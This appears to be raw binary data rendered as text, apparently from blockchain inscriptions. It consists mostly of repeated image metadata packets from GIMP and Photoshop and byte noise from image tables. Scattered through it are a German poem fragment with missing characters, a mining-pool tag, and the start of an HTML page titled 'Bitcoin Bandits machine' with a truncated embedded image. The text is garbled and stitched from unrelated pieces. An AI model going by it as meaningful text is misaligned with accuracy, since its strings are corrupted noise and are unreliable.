d" stEvt:changed="/" stEvt:instanceID="xmp.iid:ac37b620-eac9-4d3b-b972-8639c68caaa2" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:14:57"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                                                                                                         <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/M
22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:76c89381-4a4a-40c1-8343-7443ec19bb8f" xmpMM:InstanceID="xmp.iid:bc1cca29-6839-41f9-9778-3dce3ba9876b" xmpMM:OriginalDocumentID="xmp.did:12fa996e-56fa-4da0-b157-8M
6e692ed6da8" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413186669224" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:19:42+11:00" xmp:ModifyDate="2023:02:15T09:19:42+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:e1a946c0-8873-4097-9e26-30ab0972d92c" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:19:46"/> </rdf:Seq> </xmpMM:History> </rdf:DeM
scription> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M

   <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="M
adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:033fed2e-95fd-43e9-8a3b-8fe10aa896bd" xmpMM:InstanceID="xmp.iid:ceeM
4fa01-07c3-4e92-87ed-7790251f0d72" xmpMM:OriginalDocumentID="xmp.did:44228624-bbda-44d7-9cff-acb4868ce83d" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676412949173542" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:15:47+11:00" xmp:ModifyDate="2023:02:15T09:15:47+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:8790db2c-e3e9-4964-a326-a4aed53d3d86" stEvt:softwareAgentM
="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:15:49"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Lt                                                                                                 <?xpacket end="w"?>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:M
stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:e0ec08e1-8f43-44a4-809b-d28f371473c8" xmpMM:InstanceID="xmp.iid:9069c016-3eaa-42ce-8599-7258098e81be" xmpMM:OriginalDocumentID="xmp.did:18488cb6-7dcb-46b7-8544-4a228d20deef" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="16764129207M
15038" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:15:18+11:00" xmp:ModifyDate="2023:02:15T09:15:18+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:f9d9750c-07f2-4663-957c-44d0c0736437" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:15:20"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                     <?xpacket end="w"?>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
1http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 23.5 (Macintosh)" xmpMM:InstanceID="xmp.iid:48728526A07D11ED8BCB8E95E8B078D3" xmpMM:DocumentID="xmp.did:48728527A07D11ED8BCB8E95E8B078D3"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:46BB7255A07D11ED8BCB8E95E8B078D3" stRef:documentID="xmp.did:46BB7256A07D11ED8BCB8E95E8B078D3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
text/plain;charset=utf-8
Bugsiere die Vase sanft in den
	Brennofen, Feuerteufel treffen
auf die Glasur, die dadurch metallisch
	zu schimmern beginnt, an blaue
Gletscher erinnert oder an einen
	eindunkelnden Himmel mit verstreuten
Fetzen orangener Wolken, den ein junger
	Poet einzufangen versucht, wie
chtigen Schmetterling eines
	Sommertags in blustiger Magerwiese,
indem er die Seiten des Notizhefts
	durch die Luft wirbelt, fuchtelt,
um einen Abzug von diesem gew
rtigen und doch so euphorischen
hen, schaue dieser beil
	Szene zu, die sich in die Amphore
eingraviert, das keramische T
ter gelassen und lieblich einen
getrockneten Rittersporn einstellen wird.
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
'<%+%%+%<5@404@5_JBBJ_m\W\m
'<%+%%+%<5@404@5_JBBJ_m\W\m
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
1http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 23.5 (Macintosh)" xmpMM:InstanceID="xmp.iid:4160B604A07D11ED8BCB8E95E8B078D3" xmpMM:DocumentID="xmp.did:4160B605A07D11ED8BCB8E95E8B078D3"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3F6E3BA9A07D11ED8BCB8E95E8B078D3" stRef:documentID="xmp.did:3F6E3BAAA07D11ED8BCB8E95E8B078D3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>


j
j
-j                     M
-j


-j
@@@@@@@@@@@@@@@@@@@@A

@@@@@@@@@@@@@@@@@@@@A
-j
-j
@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@@@@A
-J

-J
@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@A
P
P
(
@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@A
`
`
`
@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@A
`
@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@A
`
@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@M
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@L
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:424978FFAA3C11ED9A1BEECD33DF776D" xmpMM:InstanceID="xmp.iid:424978FEAA3C11ED9A1BEECD33DF776D" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5ca6d904-7bd7-bb4f-b379-9e8b79efc1fa" stRef:documentID="adobe:docid:photoshop:60b063a4-3835-9344-8d90-1e6e724fd8d6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
text/html;charset=utf-8
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="16.1.2" xmpMMM
:InstanceID="xmp.iid:E144031FA44011EDA68EE77D65300542" xmpMM:DocumentID="xmp.did:E1440320A44011EDA68EE77D65300542"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E144031DA44011EDA68EE77D65300542" stRef:documentID="xmp.did:E144031EA44011EDA68EE77D65300542"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="16.1.2" xmpMMM
:InstanceID="xmp.iid:78223B9BA44111EDA68EE77D65300542" xmpMM:DocumentID="xmp.did:78223B9CA44111EDA68EE77D65300542"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:78223B99A44111EDA68EE77D65300542" stRef:documentID="xmp.did:78223B9AA44111EDA68EE77D65300542"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
fhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.M
did:8edb1676-729b-4e3a-8417-dab223806d13" xmpMM:DocumentID="xmp.did:79DAFA51A44211EDA68EE77D65300542" xmpMM:InstanceID="xmp.iid:79DAFA50A44211EDA68EE77D65300542" xmp:CreatorTool="16.1.2"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8edb1676-729b-4e3a-8417-dab223806d13" stRef:documentID="xmp.did:8edb1676-729b-4e3a-8417-dab223806d13"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="16.1.2" xmpMMM
:InstanceID="xmp.iid:4DBE5370A44111EDA68EE77D65300542" xmpMM:DocumentID="xmp.did:4DBE5371A44111EDA68EE77D65300542"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4DBE536EA44111EDA68EE77D65300542" stRef:documentID="xmp.did:4DBE536FA44111EDA68EE77D65300542"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
"http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:Iptc4xmpExt="http://iptc.org/std/Iptc4xmpExt/2008-02-29/" xmlns:dc="http://purl.org/dc/elements/1.1/" Iptc4M
xmpExt:ArtworkTitle="BoomerPepe"> <dc:title> <rdf:Alt> <rdf:li xml:lang="x-default">BoomerPepe</rdf:li> </rdf:Alt> </dc:title> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                               M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                          <?xpacket end="w"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

c/Foundry USA Pool #dropgold/
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAWPklEQVR4nO3dW6wdV3kA4HXsxMEQGewmSsnNcaxacUupSIrSyDU1DpYRshxEpKYXiHCKpdJSykMlHhqSht7EW6ug9sGlrmjVNBHQJkWI1MWJCKEBZGiByCH04IQQQ+XccCEpyXHch+M9e+1zZs7Mvv977+978fLs2TPL5yS//vlnXea27d57OgEQzqpxdwCAcgI0QFACNEBQAjRAUAI0QFACNEBQAjRAUAI0QFACNEBQAjRAUAI0QFACNEBQAjRAUAI0QFACNEBQAjRAUAI0QFACNEBQAjRAUAI0QFACNEBQAjRAUAI0QFACNEBQAjRAUAI0QFACNEBQZ427A8T14L33jLsLDMi23XvHM
3QV6IIMGCEqABghKiYPKUsZ1D7xQtO/evrZo3/bNF1NKKX312VPFsU8fb7dPH5tvX+TZp9rHH/tO332dFHOXXV60+/1359dK689rH9+0uWjvuXB10b5yfbt96+vW9HVvxksGDRCUAA0QlBLHjCkrZ+SljFF5+c37R37PpVbdd6D0+CD6ll+71+tV9Y/ZIYMGCEqABghKiWNKNRmZ0fLpR54pPXfPFRsG2qdSW88Z/j2q3NfgnG76d/Qn/V+r7hrMFBk0QFAy6CnQzYu/qmw5glV/9dFxd2FFdf3LXwaWvRis+v7Lv/O+/jrG1JJBAwQlQAMEpcQxQQbx4m9S7H3fO4v2PR/9h6I9yPHTvY4zrpzGXfMScO7Y4KZ/Mxtk0ABBCdAAQSlxBNRNKSOl7soZJ65vr0p3/idHP8W7qXx1vA79jpse4jjjulEec5cN7dZMKRk0QFACNEBQShxjNopJJnlZ4+TJk9nxdSmlmKWOlz91R+nxXiezDGsySMdi+jBgMmiAoARoM
gKCUOEZknJNMOksYZ2ftWKWNiVmTItsXsGcmqtCADBogKBn0gA1zDPNUmsD1j/PdtHt1+mtfHkBPmHYyaICgBGiAoJQ4+hBlofz5XS+llFJat25dcSzi2OZc5B2rO/pWsi3WngtX932P/L+c6BsVMD4yaICgBGiAoOa27d57etydiC7iQvmtskZK7dJGPo2713JH1U7ed29fW3qcybBt995xd4EeyKABghKgAYIyimOJKCMz6mw+VDZlu7tp3GXljKpSxs6dO5t3jpE7fPhw6XGljckmgwYISoAGCGpmSxyjGJlRNtIipdFPIulmZIZSRmxKGbNFBg0QlAANENRMlTjyssbcDe31Fva+751Fu9+RGVVljbK9AFMaXrkjL2tUjczIfwYtJUtPMCan79y/7JhSxmyRQQMENVMZdJW6rDnfFbsu4y0fn5xSlK2m8qx51VveNrZ+lKnafXySVunrV8eTz5kMWtY8u2TQAEEJ0ABBKXFUqHrcHsULvm5KKpMuf6l68mTzM
F6yD+LmMapx66/c57b9LBk8GDRCUAA0QlBJHhc7H0eGPwMgft1NaW3p8WI/h45yS3jnqJTecn/+oxqmXlchGUR5jusigAYISoAGCUuIYs9Yjd9Xj9jAfw+vuXXePU/sv6um+43TZiO6zIZul/cwzixOhRj0aiMkngwYISoAGCEqJo0L+Fj436MfR9iiGJqMWBjuapLt7t7VKG1fvvq7vPsyCDRsW19dYfeDJ7KiyBvVk0ABByaCXaGXOVS/qomxjBUw/GTRAUAI0QFBKHKl8Wm6v45KVOoBBkUEDBCVAAwSlxJGqVq7rf1zywqn6qdBnrX6y9hxgNsmgAYISoAGCUuIYsLys8fz3Gpx/8eL5Sh3AUjJogKAEaICglDiG6MXnyo+vec0oe9G7fAKPCTj9s44L3ZJBAwQlgx6i5xfKj68ZbTe6kmd5J0+22/kWTfl2TjTXZGuxfQ+PtEsEJ4MGCEqABghKiWOIXnPeuHvQTNXLq/wxPG/Tm/MP5cWt8v849lw4mr4wM
